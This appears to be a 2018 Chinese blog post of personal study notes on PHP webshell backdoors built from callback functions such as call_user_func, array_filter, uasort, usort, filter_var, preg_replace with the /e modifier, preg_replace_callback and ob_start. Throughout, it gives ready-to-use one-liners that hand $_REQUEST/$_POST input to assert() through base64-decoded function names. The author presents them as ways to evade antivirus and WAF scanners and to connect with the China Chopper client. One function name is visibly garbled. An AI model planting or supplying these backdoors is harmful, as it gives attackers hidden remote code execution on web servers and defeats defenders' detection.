php回调后门学习笔记

前言

前些时间见到一个利用php回调函数的后门,然而当时并没有弄懂,于是尝试了解一下php回调函数的后门原理。


Here we go


什么是回调函数

回调函数:Callback (即call then back 被主函数调用运算后会返回主函数),是指通过函数参数传递到其它代码的,某一块可执行代码的引用。

回调函数就是将一个函数作为参数传入另一个函数的函数。php中有许多这样的函数,比如call_user_func , call_user_func_array,array_map等等,这些函数可以将函数作为参数执行后返回主函数,方便使用,但是既然可以将函数作为参数传入执行,如果将一些危险的函数作为参数传入,那就有可能成为一个可利用且不易检测的后门,于是Google一下大佬们的骚操作。


回调函数后门

1. call_user_func 与 call_user_func_array

call_user_func

php中的一个标准回调函数,php手册中的解释为
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] ) 。
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
返回值为回调函数的结果。

call_user_func_arraycall_user_func的功能基本相同,只不过是将一个数组参数作为回调函数的参数,返回回调函数的结果,出错则返回FALSE。

最简单的一条回调后门

1
call_user_func('assert',$_REQUEST['a']);

assert作为回调函数,a的值作为参数给assert调用。
同样,它的兄弟函数的回调后门也十分简单,将回调函数的参数改为一个数组即可。。

1
call_user_func_array('assert',array($_REQUEST['a']));

由于这两条太过古老,大概率被查杀。


2. array_filter 与 单参数回调后门

01.array_filter等数组操作函数

php手册解释

用回调函数过滤数组中的单元
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

array_filter函数会将数组中的元素遍历传递给回调函数,所以走一个。

1
array_filter($arr = array($_POST['a'],),base64_decode($_REQUEST['e']));

array_filter

当然菜刀也是连的上的。
array_filter菜刀连接
同容易被查杀。
同样可以作为后门的数组操作函数有

1
2
3
4
array_filter($arr = array($_POST['a'],),base64_decode($_REQUEST['e']));
array_walk($arr = array($_POST['a'],),base64_decode($_REQUEST['e']));
array_walk_recursive($arr = array($_POST['a'],),base64_decode($_REQUEST['e']));
array_map(base64_decode($_REQUEST['e']),$arr = array($_POST['a'],));

这些数组操作函数都是将数组遍历作为参数传给回调函数,每次只传递一个参数,所以是但参数回调后门。

02.register 类函数

registregister_shutdown_functionregister_tick_function 这两个函数都可以使用回调函数。于是构造一下

1
registregister_shutdown_function(base64_decode($_REQUEST['e']),$_REQUEST['a']);
1
2
declare(ticks=1);
register_tick_function (base64_decode($_REQUEST['e']), $_REQUEST['a']);

这里的declare函数是用于设定时钟周期ticks值的函数,而register_tick_function函数是依据ticks的值运行的。

03. filter_var 与 filter_var_array函数

这两个函数在PHP手册中讲的并不是很清楚,我还是没有理解这两个函数如何调用回调函数,所以搬运一段离别歌大牛的原文

1
2
3
<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。


3. assert 与 双参数回调后门

assert在php手册中的定义十分简单

检查一个断言是否为FALSE。

assert是一个可以用于debug的函数,会将传入的字符串作为PHP代码执行,也可以作为一个后门函数使用,同时也可以作为一个回调函数使用,于是来看看assert作为回调函数时的参数。

回调函数应该接受三个参数。 第一个参数包括了断言失败所在的文件。 第二个参数包含了断言失败所在的行号,第三个参数包含了失败的表达式(如有任意 — 字面值例如 1 或者 “two” 将不会传递到这个参数)。 PHP 5.4.8 及更高版本的用户也可以提供第四个可选参数,如果设置了,用于将 description 指定到 assert()。

实际上在使用回调函数时只需传入两个参数即可以使assert()成功执行PHP代码,所以使用传递两个参数的回调函数也可调用assert(),更容易绕过waf了。
! PHP 5.4.8 版本及其以上 !

01. uasort()函数

(PHP 4, PHP 5, PHP 7)
uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联

这里的回调函数可以传递两个参数,所以构造一个回调后门。

1
uasort($arr = array('',$_REQUEST['a']),base64_decode($_REQUEST['e']));

uasort回调后门

02. uksort()函数

(PHP 4, PHP 5, PHP 7)
uksort — 使用用户自定义的比较函数对数组中的键名进行排序

同样的,uksort()函数的回调函数也是传递两个参数,继续构造。

1
uksort($arr =array('' => 1 ,$_REQUEST['a'] => 2),base64_decode($_REQUEST['e']));

03. usort()函数

(PHP 4, PHP 5, PHP 7)
usort — 使用用户自定义的比较函数对数组中的值进行排序

1
usort($arr=array('',$_REQUEST['a']), base64_decode($_REQUEST['e']));

04. array_reduce函数

PHP 4 >= 4.0.5, PHP 5, PHP 7)
array_reduce — 用回调函数迭代地将数组简化为单一的值

1
array_reduce($arr = array(''), base64_decode($_REQUEST['e']), $_REQUEST['a']);

05. array_udiff函数

(PHP 5, PHP 7)
array_udiff — 用回调函数比较数据来计算数组的差集

1
array_udiff($arr=array($_REQUEST['a']),$arr1 = array(''),base64_decode($_REQUEST['e']));

4. preg_replace 与三参数回调后门

惯例上php手册

(PHP 4, PHP 5, PHP 7)
preg_replace — 执行一个正则表达式的搜索和替换

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索subject中匹配pattern的部分, 以replacement进行替换。

看上去一个人畜无害的函数,然而其中的pattern函数可以使用PCRE修饰符,其中的/e修饰符,按照PHP手册中的定义

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.

意味着当进行正则替换时使用该修饰符既可以将替换的字符串作为PHP代码执行,所以这个危险的修饰符在PHP7中被移除。
然而在PHP7之前的版本依然可以使用,所以找一个可以传递三个参数回调函数的函数。

01. array_walk() 与 array_walk_recursive

array_walk()

(PHP 4, PHP 5, PHP 7)
array_walk — 使用用户自定义函数对数组中的每个元素做回调处理
bool array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )
callback
典型情况下 callback 接受两个参数。array 参数的值作为第一个,键名作为第二个。
userdata
如果提供了可选参数 userdata,将被作为第三个参数传递给 callback funcname。

array_walk_recursive()

(PHP 5, PHP 7)
array_walk_recursive — 对数组中的每个成员递归地应用用户函数
bool array_walk_recursive ( array &$array , callable $callback [, mixed $userdata = NULL ] )
callback
典型情况下 callback 接受两个参数。array 参数的值作为第一个,键名作为第二个。
userdata
如果提供了可选参数 userdata,将被作为第三个参数传递给 callback。

由此看来这两个函数都是可以提供三个参数给回调函数的,所以尝试构造一下。

1
array_walk($arr = array($_POST['a'] => '|.*|e',),base64_decode($_REQUEST['e']),'');
1
array_walk_recursive($arr = array($_POST['a'] => '|.*|e',), base64_decode($_REQUEST['e']),'');
array_walk_recursive回调

PHP7环境下测试
preg_replace()PHP7环境下测试

由于移除了/e 标志符,所以preg_replace函数代码执行失败。
除了preg_replace函数外还有preg_filter函数有同样的功能,调用的方式和preg_replace一样。
还有一个需要四个参数的代码执行函数mb_ereg_replace

1
mb_ereg_replace('.*', $_REQUEST['a'], '', 'e');

02. PHP7环境下的preg_replace_callback和mb_ereg_replace_callback

在后续的PHP版本中,preg_replace_callback函数逐步代替preg_replace中的回调功能,于是我们可以在PHP版本中使用preg_replace_callback作为回调后门的函数,但是这个函数传递给回调函数的值为数组,assert接收的是字符串,所以利用匿名函数构造后门。

1
preg_replace_callback('/.*/', function ($arr) { $hack = base64_decode($_REQUEST['e']); return $hack($arr[0]);}, $_REQUEST['a']);

preg_replace_callback--PHP7

mb_ereg_replace_callback也是同样的。

1
mb_ereg_replace_callback('.*', function ($arr) { $hack = base64_decode($_REQUEST['e']); return $hack($arr[0]);}, $_REQUEST['a']);

5. ob_start 无回显回调函数

(PHP 4, PHP 5, PHP 7)
ob_start — 打开输出控制缓

ob_start函数可以用来打开输出缓冲,配合ob_end_flush()可以将存储在内部缓冲区中的内容输出给回调函数,然而这里的回调函数执行是没有回显的,但是我们可以通过这个函数写入一些后门文件,从而达到添加webshell的意图。

1
2
3
ob_start('assert');
echo $_REQUEST['a'];
ob_end_flush();

通过fwrite等函数写入后门
ob_start写入后门

后记

最初接触PHP回调后门是在CTF群内的讨论中见到的,随后通过学习大佬的博客和查阅超级无敌厚的PHP手册慢慢摸索,总结了一点小小的笔记,做的点微小的贡献。PHP回调函数避免了直接使用eval之类的危险函数,方便过狗也是美滋滋了,然而菜刀本身的局限性,连接中依旧使用了eval函数,必须配合修改过配置的过狗菜刀使用,接下来会再去研究一下菜刀的打狗棒法。

(感谢老铁这位良师益友对我的指导)
欢迎各位大佬在评论区留言指教。

8.jpg

参考:

本文标题:php回调后门学习笔记

文章作者:MelonRindCat

发布时间:2018年03月13日 - 16:03

最后更新:2018年03月16日 - 13:03

原始链接:http://melonrind.top/2018/5fc97d5c/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。